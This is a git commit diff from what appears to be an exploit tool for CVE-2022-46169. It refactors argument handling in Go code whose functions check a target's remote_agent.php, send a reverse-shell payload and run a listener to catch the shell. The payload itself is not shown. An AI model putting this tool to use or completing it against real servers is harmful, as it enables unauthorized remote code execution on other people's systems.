used a global flag system
This commit is contained in:
		
							parent
							
								
									56edad533c
								
							
						
					
					
						commit
						7e7b2213d8
					
				| 
						 | 
					@ -7,8 +7,6 @@ import (
 | 
				
			||||||
	"net/http"
 | 
						"net/http"
 | 
				
			||||||
	"net/url"
 | 
						"net/url"
 | 
				
			||||||
	"strings"
 | 
						"strings"
 | 
				
			||||||
 | 
					 | 
				
			||||||
	"git.vomitblood.com/Vomitblood/cve-2022-46169/internal/cmd"
 | 
					 | 
				
			||||||
)
 | 
					)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
func checkVuln(vulnUrl string) bool {
 | 
					func checkVuln(vulnUrl string) bool {
 | 
				
			||||||
| 
						 | 
					@ -111,12 +109,7 @@ func reverseShell(payload string, vulnUrl string, hostID int, dataIDs int) {
 | 
				
			||||||
	defer resp.Body.Close()
 | 
						defer resp.Body.Close()
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
func Exploit() {
 | 
					func Exploit(urlTarget string, lhost string, lport string) {
 | 
				
			||||||
	urlTarget, lhost, lport := cmd.GetArguments()
 | 
					 | 
				
			||||||
	if urlTarget == "" || lhost == "" || lport == "" {
 | 
					 | 
				
			||||||
		return
 | 
					 | 
				
			||||||
	}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
	vulnURL := urlTarget + "/remote_agent.php"
 | 
						vulnURL := urlTarget + "/remote_agent.php"
 | 
				
			||||||
	fmt.Println("Checking...")
 | 
						fmt.Println("Checking...")
 | 
				
			||||||
	if checkVuln(vulnURL) {
 | 
						if checkVuln(vulnURL) {
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
| 
						 | 
					@ -5,8 +5,6 @@ import (
 | 
				
			||||||
	"io"
 | 
						"io"
 | 
				
			||||||
	"net"
 | 
						"net"
 | 
				
			||||||
	"os"
 | 
						"os"
 | 
				
			||||||
 | 
					 | 
				
			||||||
	"git.vomitblood.com/Vomitblood/cve-2022-46169/internal/cmd"
 | 
					 | 
				
			||||||
)
 | 
					)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
func handleConnection(conn net.Conn) {
 | 
					func handleConnection(conn net.Conn) {
 | 
				
			||||||
| 
						 | 
					@ -63,9 +61,7 @@ func startListener(lhost, lport string) {
 | 
				
			||||||
	}
 | 
						}
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
func Listen() {
 | 
					func Listen(lport string) {
 | 
				
			||||||
	_, _, lport := cmd.GetArguments()
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
	// listen on everything, lazy
 | 
						// listen on everything, lazy
 | 
				
			||||||
	lhost := "0.0.0.0"
 | 
						lhost := "0.0.0.0"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
							
								
								
									
										10
									
								
								main.go
									
									
									
									
									
								
							
							
						
						
									
										10
									
								
								main.go
									
									
									
									
									
								
							| 
						 | 
					@ -3,16 +3,22 @@ package main
 | 
				
			||||||
import (
 | 
					import (
 | 
				
			||||||
	"time"
 | 
						"time"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						"git.vomitblood.com/Vomitblood/cve-2022-46169/internal/cmd"
 | 
				
			||||||
	"git.vomitblood.com/Vomitblood/cve-2022-46169/internal/exploiter"
 | 
						"git.vomitblood.com/Vomitblood/cve-2022-46169/internal/exploiter"
 | 
				
			||||||
	"git.vomitblood.com/Vomitblood/cve-2022-46169/internal/listener"
 | 
						"git.vomitblood.com/Vomitblood/cve-2022-46169/internal/listener"
 | 
				
			||||||
)
 | 
					)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
func main() {
 | 
					func main() {
 | 
				
			||||||
	go listener.Listen()
 | 
						urlTarget, lhost, lport := cmd.GetArguments()
 | 
				
			||||||
 | 
						if urlTarget == "" || lhost == "" || lport == "" {
 | 
				
			||||||
 | 
							return
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						go listener.Listen(lport)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	time.Sleep(1 * time.Second)
 | 
						time.Sleep(1 * time.Second)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	exploiter.Exploit()
 | 
						exploiter.Exploit(urlTarget, lhost, lport)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	// prevent the main goroutine from exiting immediately
 | 
						// prevent the main goroutine from exiting immediately
 | 
				
			||||||
	select {}
 | 
						select {}
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
		Loading…
	
		Reference in a new issue